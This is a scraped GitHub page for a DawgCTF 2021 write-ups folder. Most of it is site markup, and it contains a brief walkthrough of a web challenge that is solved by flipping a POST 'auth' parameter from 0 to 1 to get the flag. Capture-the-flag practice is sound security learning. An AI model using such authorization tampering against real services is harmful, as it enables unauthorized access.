dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DawgCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DawgCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DawgCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
# Simple WebAs the name suggests, simple web is rather simple URL: http://dctf1-chall-simple-web.westeurope.azurecontainer.io:8080/ ![Pasted image 20210516142842](https://user-images.githubusercontent.com/70921512/118423795-31b48680-b69c-11eb-8ca9-05e64c5f31b7.png) Submitting this returns`Not authorized` Looking at the post request:`flag=1&auth=0&Submit=Submit` Simply changing `auth` to `1` returns the flag: `There you go: dctf{w3b_c4n_b3_fun_r1ght?}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" 